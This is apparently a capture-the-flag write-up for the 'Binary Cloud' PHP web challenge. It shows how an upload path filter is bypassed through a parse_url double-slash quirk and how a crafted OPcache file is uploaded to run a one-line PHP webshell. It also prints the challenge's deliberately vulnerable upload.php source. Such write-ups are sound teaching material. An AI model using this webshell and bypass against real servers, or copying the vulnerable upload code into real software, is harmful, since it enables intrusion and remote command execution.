Binary Cloud claims “Now you can upload any types of files, temporarily.” Let’s see what this means.
Rule one of web challenges: check robots.txt
:
1
2
3
4
5
User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads
So we have some interesting paths there. debug.php
turns out to be a
phpinfo()
page, informing us it’s ‘PHP Version 7.0.4-7ubuntu2’. Interesting,
pretty new version. I play around with the app briefly to see how it’s going to
behave, and notice any file ending in .php
is prohibited. No direct .php
script upload for us.
I got back to the PHPInfo, and notice that if we look closely, we discover the OPCache is enabled, set to a file directory (within the document root, interestingly). This reminds me of a recent blog post I read. (See kids, this is why it’s important to keep up on the news in security!)
Ok, so maybe we need the ability to upload files into the cache directory. Let’s figure out how to get that. Looking at the upload code, we see this:
1
2
3
4
5
<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
<p>Please specify the file to upload!</p>
<input class="form-control" type="file" name="file"><br>
<input class="form-control" type="submit" value="Upload!">
</form>
When we upload, we’re told it’s uploaded to uploads/filename
. I notice the
query string of uploads
on the form action, so I try it with a few different
paths. If you provide any string including cache
you get an error, which
makes me believe I’m on the right path but need to figure out how to bypass the
path checks. This had me stumped for a long time, and I moved back and forth to
other challenges, but eventually I came back and happened upon the fact that if
you provided //upload.php?/home/binarycloud/www/cache/
, it would work. (More
on that later.)
So, now we need the opcache file to upload. I spun up a Ubuntu 16.04 VM to match the target as closely as possible. First I needed a php file to create an opcache for. I noticed in the PHPInfo that there was a path blacklist, including the obvious paths:
1
2
3
4
/home/binarycloud/www/index.php
/home/binarycloud/www/debug.php
/home/binarycloud/www/home.php
/home/binarycloud/www/upload.php
However, I also noticed that /cache/index.php
appeared to be a script, and was
not blacklisted. So, along with the system_id
from our test system, I
determined the target path to be
/home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/cache/index.php
.
I created a basic webshell on my test server containing <?PHP
passthru($_GET['x']);
as /home/binarycloud/www/cache/index.php
(the full path
is embedded in the OpCache file) and grabbed the index.php.bin
file. I upload
this and then visit the page /cache/index.php?x=ls
and am happy to see a
directory listing. From there it’s just a short hop to get the flag in the root
of the system.
###Appendix###
In case you’re wondering, I also grabbed the source to upload.php while I had my shell (because I like to understand problems even after I get the flag) and here it is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
function ew($haystack, $needle) {
return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false);
}
function filter_directory(){
$data = parse_url($_SERVER['REQUEST_URI']);
$filter = ["cache", "binarycloud"];
foreach($filter as $f){
if(preg_match("/".$f."/i", $data['query'])){
die("Attack Detected");
}
}
}
function error($msg){
die("<script>alert('$msg');history.go(-1);</script>");
}
filter_directory();
if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){
if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");
$name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name']));
if(ew($name, ".php")) error("error");
$filename = $_SERVER['QUERY_STRING'] . "/" . $name;
if(file_exists($filename)) error("exists");
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){
die("uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>");
}else{
error("error");
}
}
?>
<hr>
<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
<p>Please specify the file to upload!</p>
<input class="form-control" type="file" name="file"><br>
<input class="form-control" type="submit" value="Upload!">
</form>
Notice that filter_directory uses parse_url on the request URI. This means parsing a path beginning with two slashes and having a query string beginning with a slash gets treated as a hostname up through the ‘?’, followed by the path, with no query string. I’m not sure this is the right way to parse it, but it worked for me here. :)